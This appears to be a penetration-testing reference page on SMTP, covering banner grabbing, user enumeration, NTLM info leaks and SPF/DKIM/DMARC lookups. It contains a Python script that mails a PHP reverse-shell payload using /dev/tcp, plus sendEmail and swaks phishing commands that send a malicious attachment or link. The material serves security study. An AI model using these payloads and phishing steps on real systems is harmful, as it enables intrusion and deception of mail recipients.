SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
In other words, users typically use a program that uses SMTP for sending e-mail and either POP3 or IMAP for receiving e-mail. On Unix-based systems, sendmail is the most widely-used SMTP server for e-mail. A commercial package, Sendmail, includes a POP3 server. Microsoft Exchange includes an SMTP server and can also be set up to include POP3 support. From here.
Default port: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
If you have the opportunity to make the victim send you a email (via contact form of the web page for example), do it because you could learn about the internal topology of the victim seeing the headers of the mail.
You can also get an email from a SMTP server trying to send to that server an email to a non-existent address (because the server will send to the attacker a NDN mail). But, be sure that you send the email from an allowed address (check the SPF policy) and that you can receive NDN messages.
You should also try to send different contents because you can find more interesting information on the headers like:
X-Virus-Scanned: by av.domain.com
You should send the EICAR test file.
Detecting the AV may allow you to exploit known vulnerabilities.
nc -vn <IP> 25
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls commandopenssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
dig +short mx google.com
nmap -p25 --script smtp-commands 10.10.10.10
If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info here.
[email protected]: telnet example.com 587220 example.com SMTP Server Banner>> HELO250 example.com Hello [x.x.x.x]>> AUTH NTLM 334NTLM supported>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
Or automate this with nmap plugin
Check if you sniff some password from the packets to port 25
Authentication is not always needed
$ telnet 10.0.10.1 25Trying 10.0.10.1...Connected to 10.0.10.1.Escape character is '^]'.220 myhost ESMTP Sendmail 8.9.3HELO x250 myhost Hello [10.0.0.99], pleased to meet youMAIL FROM:[email protected]250 2.1.0 [email protected]... Sender okRCPT TO:test550 5.1.1 test... User unknownRCPT TO:admin550 5.1.1 admin... User unknownRCPT TO:ed250 2.1.5 ed... Recipient ok
$ telnet 10.0.0.1 25Trying 10.0.0.1...Connected to 10.0.0.1.Escape character is '^]'.220 myhost ESMTP Sendmail 8.9.3HELO501 HELO requires domain addressHELO x250 myhost Hello [10.0.0.99], pleased to meet youVRFY root250 Super-User <[email protected]>VRFY blah550 blah... User unknown
$ telnet 10.0.10.1 25Trying 10.0.10.1...Connected to 10.0.10.1.Escape character is '^]'.220 myhost ESMTP Sendmail 8.9.3HELO501 HELO requires domain addressHELO xEXPN test550 5.1.1 test... User unknownEXPN root250 2.1.5 <[email protected]>EXPN sshd250 2.1.5 sshd privsep <[email protected]>
Metasploit: auxiliary/scanner/smtp/smtp_enumsmtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>Nmap: nmap --script smtp-enum-users <IP>
Delivery Status Notification Reports: If you send an email to an organisation to an invalid address, the organisation will notify that the address was invalided sending a mail back to you. Headers of the returned email will contain possible sensitive information (like IP address of the mail services that interacted with the reports or anti-virus software info).
[email protected]:~# sendEmail -t [email protected] -f [email protected] -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdfReading message body from STDIN because the '-m' option was not used.If you are manually typing in a message:- First line must be received within 60 seconds.- End manual input with a CTRL-D on its own line.IT Dept,We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.Sincerely,
swaks --to $(cat emails | tr '\n' ',' | less) --from [email protected] --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
Here's alternative way to send an email with python script
from email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextimport smtplibimport syslhost = "127.0.0.1"lport = 443rhost = "192.168.1.1"rport = 25 # 489,587# create message object instancemsg = MIMEMultipart()# setup the parameters of the messagepassword = ""msg['From'] = "[email protected]"msg['To'] = "[email protected]"msg['Subject'] = "This is not a drill!"# payloadmessage = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))print("[*] Payload is generated : %s" % message)msg.attach(MIMEText(message, 'plain'))server = smtplib.SMTP(host=rhost,port=rport)if server.noop() != 250:print("[-]Connection Error")exit()server.starttls()# Uncomment if log-in with authencation# server.login(msg['From'], password)server.sendmail(msg['From'], msg['To'], msg.as_string())server.quit()print("[***]successfully sent email to %s:" % (msg['To']))
Most of this section was extracted from the book Network Security Assessment 3rd Edition.
SMTP messages are easily spoofed, and so organizations use SPF, DKIM, and DMARC features to prevent parties from sending unauthorised email.
A complete guide of these countermeasures can be found in https://seanthegeek.net/459/demystifying-dmarc/
Sender Policy Framework (SPF) provides a mechanism that allows MTAs to check if a host sending an email is authorized. Then, the organisations can define a list of authorised mail servers and the MTAs can query for this lists to check if the email was spoofed or not. **In order to define IP addresses/ranges, domains and others that are allowed to send email on behalf a domain name, different "Mechanism**" cam appear in the SPF registry.
Matches always; used for a default result like
If the domain name has an address record (A or AAAA) that can be resolved to the sender's address, it will match.
If the sender is in a given IPv4 address range, match.
If the sender is in a given IPv6 address range, match.
If the domain name has an MX record resolving to the sender's address, it will match (i.e. the mail comes from one of the domain's incoming mail servers).
If the domain name (PTR record) for the client's address is in the given domain and that domain name resolves to the client's address (forward-confirmed reverse DNS), match. This mechanism is discouraged and should be avoided, if possible.
If the given domain name resolves to any address, match (no matter the address it resolves to). This is rarely used. Along with the SPF macro language it offers more complex matches like DNSBL-queries.
References the policy of another domain. If that domain's policy passes, this mechanism passes. However, if the included policy fails, processing continues. To fully delegate to another domain's policy, the redirect extension must be used.
A redirect is a pointer to another domain name that hosts an SPF policy, it allows for multiple domains to share the same SPF policy. It is useful when working with a large amount of domains that share the same email infrastructure.
It SPF policy of the domain indicated in the redirect Mechanism will be used.
It's also possible to identify Qualifiers that indicates what should be done if a mechanism is matched. By default, the qualifier "+" is used (so if any mechanism is matched, that means it's allowed). You usually will note at the end of each SPF policy something like: ~all or -all. This is used to indicate that if the sender doesn't match any SPF policy, you should tag the email as untrusted (~) or reject (-) the email.
Each mechanism can be combined with one of four qualifiers:
+ for a PASS result. This can be omitted; e.g.,
+mx is the same as
? for a NEUTRAL result interpreted like NONE (no policy).
~ (tilde) for SOFTFAIL, a debugging aid between NEUTRAL and FAIL. Typically, messages that return a SOFTFAIL are accepted but tagged.
- (minus) for FAIL, the mail should be rejected (see below).
In the following example you can read the SPF policy of google.com. Note how the first SPF policy includes SPF policies of other domains:
[email protected]:~$ dig txt google.com | grep spfgoogle.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"[email protected]:~$ dig txt _spf.google.com | grep spf; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com;_spf.google.com. IN TXT_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"[email protected]:~$ dig txt _netblocks.google.com | grep spf_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:126.96.36.199/24 ip4:188.8.131.52/19 ip4:184.108.40.206/20 ip4:220.127.116.11/20 ip4:18.104.22.168/18 ip4:22.214.171.124/16 ip4:126.96.36.199/21 ip4:188.8.131.52/16 ip4:184.108.40.206/17 ip4:220.127.116.11/19 ip4:18.104.22.168/19 ~all"[email protected]:~$ dig txt _netblocks2.google.com | grep spf_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"[email protected]:~$ dig txt _netblocks3.google.com | grep spf_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:22.214.171.124/19 ip4:126.96.36.199/20 ip4:188.8.131.52/19 ip4:184.108.40.206/20 ip4:220.127.116.11/19 ip4:18.104.22.168/21 ip4:22.214.171.124/20 ip4:126.96.36.199/19 ip4:188.8.131.52/16 ip4:184.108.40.206/22 ~all"
Traditionally it was possible to spoof any domain name that didn't have a correct/any SPF record. Nowadays, if email comes from a domain without a valid SPF record is probably going to be rejected/marked as untrusted automatically.
To check the SPF of a domain you can use online tools like: https://www.kitterman.com/spf/validate.html
DomainKeys Identified Mail (DKIM) is a mechanism by which outbound email is signed and validated by foreign MTAs upon retrieving a domain’s public key via DNS. The DKIM public key is held within a TXT record for a domain; however, you must know both the selector and domain name to retrieve it.
Then, to ask for the key you need the domain name and the selector of the mail from the mail header
DKIM-Signature for example:
dig 20120113._domainkey.gmail.com TXT | grep p=20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
Domain-based Message Authentication, Reporting & Conformance (DMARC) is a method of mail authentication that expands upon SPF and DKIM. Policies instruct mail servers how to process email for a given domain and report upon actions performed.
To obtain the DMARC record, you need to query the subdomain _dmarc
[email protected]:~# dig _dmarc.yahoo.com txt | grep DMARC_dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;[email protected]:~# dig _dmarc.google.com txt | grep DMARC_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:[email protected]"[email protected]:~# dig _dmarc.paypal.com txt | grep DMARC_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:[email protected]\;
PayPal and Yahoo instruct mail servers to reject messages that contain invalid DKIM signatures or do not originate from their networks. Notifications are then sent to the respective email addresses within each organization. Google is configured in a similar way, although it instructs mail servers to quarantine messages and not outright reject them.
Percentage of messages subjected to filtering
Reporting URI for forensic reports
Reporting URI of aggregate reports
Policy for organizational domain
Policy for subdomains of the OD
Alignment mode for DKIM
Alignment mode for SPF
From here. You need to have separate SPF records for each subdomain you wish to send mail from. The following was originally posted on openspf.org, which used to be a great resource for this kind of thing.
The Demon Question: What about subdomains?
If I get mail from pielovers.demon.co.uk, and there's no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn't make sense for Demon's policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.
So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.
Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: * IN TXT "v=spf1 -all"
This makes sense - a subdomain may very well be in a different geographical location and have a very different SPF definition.
https://github.com/serain/mailspoof Check for SPF and DMARC misconfigurations
https://pypi.org/project/checkdmarc/ Automatically get SPF and DMARC configs
You can attack some characteristics of mail clients to make the user think that the mail is coming from any address, more info: https://www.mailsploit.com/index
You can use the online tool http://www.anonymailer.net/ to send you an email spoofing an address and check if reaches you email.
Find more information about these protections in https://seanthegeek.net/459/demystifying-dmarc/
Links pointing to IP addresses
Link manipulation techniques
Suspicious (uncommon) attachments
Broken email content
Values used that are different to those of the mail headers
Existence of a valid and trusted SSL certificate
Submission of the page to web content filtering sites
If you can send data via SMTP read this.